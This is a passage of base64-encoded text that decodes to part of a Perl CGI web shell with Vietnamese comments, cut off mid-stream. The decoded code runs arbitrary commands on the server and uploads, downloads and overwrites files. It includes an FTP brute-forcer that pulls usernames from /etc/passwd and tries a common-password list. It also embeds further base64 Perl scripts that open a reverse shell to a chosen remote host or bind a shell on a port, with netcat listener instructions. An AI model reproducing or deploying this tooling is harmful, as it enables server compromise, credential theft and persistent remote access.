7CgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29tbWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygnJENvbW1hbmQnKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiZ3VpIikuIjwvc3Bhbj4iOwoJaWYoLXcgJEZpbGUpCgl7CgkJJHJvd3M9IjIzIgoJfWVsc2UKCXsKCQkkbXNnPSI8YnI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTsgY29sb3I6IHllbGxvdzsnID4gUGVybWlzc2lvbiBkZW5pZWQhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsKCSRSdW5Db21tYW5kID0gIiRyZWFkIFwiJFJ1bkNvbW1hbmRcIiI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CgkkUHJvbXB0Cgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cKCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmUnVuQ21kOwoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsKCSRyZXN1bHQgLj0gICI8L2Zvcm0+IjsKCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOwoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlyZXR1cm4gMTsKCX1lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlc3VsdCAuPSA8PEVORDsKCjx0YWJsZT4KCjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4KPC90ZD4KPC90cj4KPHRyPgo8dGQ+VXNlcjo8YnI+PHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0idXNlciI+CkVORApjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOwokcmVzdWx0IC49IDw8J0VORCc7CjwvdGV4dGFyZWE+PC90ZD4KPHRkPgoKUGFzczo8YnI+Cjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MKMTIzIUAjCjEyM2FkbWluCjEyM2FiYwoxMjM0NTZhZG1pbgoxMjM0NTU0MzIxCjEyMzQ0MzIxCnBhc3MxMjMKYWRtaW4KYWRtaW5jcAphZG1pbmlzdHJhdG9yCm1hdGtoYXUKcGFzc2FkbWluCnBAc3N3b3JkCnBAc3N3MHJkCnBhc3N3b3JkCjEyMzQ1NgoxMjM0NTY3CjEyMzQ1Njc4CjEyMzQ1Njc4OQoxMjM0NTY3ODkwCjExMTExMQowMDAwMDAKMjIyMjIyCjMzMzMzMwo0NDQ0NDQKNTU1NTU1CjY2NjY2Ngo3Nzc3NzcKODg4ODg4Cjk5OTk5OQoxMjMxMjMKMjM0MjM0CjM0NTM0NQo0NTY0NTYKNTY3NTY3CjY3ODY3OAo3ODk3ODkKMTIzMzIxCjQ1NjY1NAo2NTQzMjEKNzY1NDMyMQo4NzY1NDMyMQo5ODc2NTQzMjEKMDk4NzY1NDMyMQphZG1pbjEyMwphZG1pbjEyMzQ1NgphYmNkZWYKYWJjYWJjCiFAIyFAIwohQCMkJV4KIUAjJCVeJiooCiFAIyQkI0AhCmFiYzEyMwphbmh5ZXVlbQppbG92ZXlvdTwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4KCjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+CkVORApyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyCnsKCW15ICRyZXN1bHQ9IiI7CgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307CglpZigkaW57J3VzZXInfSBlcSAiIikKCXsKCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07Cgl9ZWxzZQoJewoJCXVzZSBOZXQ6OkZUUDsgCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsKCQlAcGFzcz0gc3BsaXQoL1xuLywgJGlueydwYXNzJ30pOwoJCWNob21wKEB1c2VyKTsKCQljaG9tcChAcGFzcyk7CgkJJHJlc3VsdCAuPSAiPGJyPjxicj5bK10gVHJ5aW5nIGJydXRlICRTZXJ2ZXJOYW1lPGJyPj09PT09PT09PT09PT09PT09PT09Pj4+Pj4+Pj4+Pj4+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJyPjxicj5cbiI7CgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQoJCXsKCQkJaWYoISgkdXNlcm5hbWUgZXEgIiIpKQoJCQl7CgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpCgkJCQl7CgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQoJCQkJCXsKCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7CgkJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoJCQkJCWlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpCgkJCQkJewoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7CgkJCQkJfQoJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCX0KCQkJfQoJCX0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZEZvcm0KewoJcmV0dXJuIDw8RU5EOwoJPGJyPjxicj4KCgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNyIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+CgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+Cgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgoKCTwvdHI+Cgk8L3RhYmxlPgoKCTxicj48YnI+Cgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+CgoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0iVEhJRVVHSUFCVU9OIj48L3RkPgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQoJPGJyPlsrXSBUcnkgY29tbWFuZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT48YnI+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCB1c2UgcGVybAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZAp7Cgl1c2UgTUlNRTo6QmFzZTY0OwoJdXNlIFNvY2tldDsJCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7CgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2